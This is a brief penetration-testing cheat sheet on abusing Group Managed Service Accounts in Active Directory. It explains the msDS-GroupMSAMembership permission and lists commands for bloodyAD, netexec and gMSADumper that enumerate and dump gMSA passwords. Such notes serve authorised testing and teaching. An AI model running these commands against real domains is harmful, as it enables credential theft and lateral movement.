PRIMARY CATEGORY β DACL ABUSE
Theory
GMSA β Group Managed Service Accounts
This solution would be to service accounts what LAPS is to local administrator accounts of domain-joined machines
It periodically generates random and complex passwords for the domain service accounts and stores them in the DC
A domain account can retrieve the password for a gMSA if it has the appropiated permissions over the latter, which can be known by listing its msDS-GroupMSAMembership attribute, whose value itβs a Security Descriptor
Enumeration - UNIX-like
BloodyAD.py
Setup
git clone https://github.com/CravateRouge/bloodyAD bloodyAD
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txtUsage
python3 bloodyAD.py --domain '<DOMAIN>' --username '<USER' --password '<PASSWD>' --dc-ip '<DC_IP>' get object '<TARGET_SERVICE_ACCOUNT>' --attr 'msDS-GroupMSAMembership' --resolve-sdAbuse - UNIX-like
Netexec
nxc ldap <TARGET> --username '<USER>' --password '<PASSWD>' --gmsagMSADumper.py
Setup
git clone https://github.com/micahvandeusen/gMSADumper gMSADumper
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txtUsage
python3 gMSADumper.py --domain '<DOMAIN>' --username '<USER>' --password '<PASSWD>'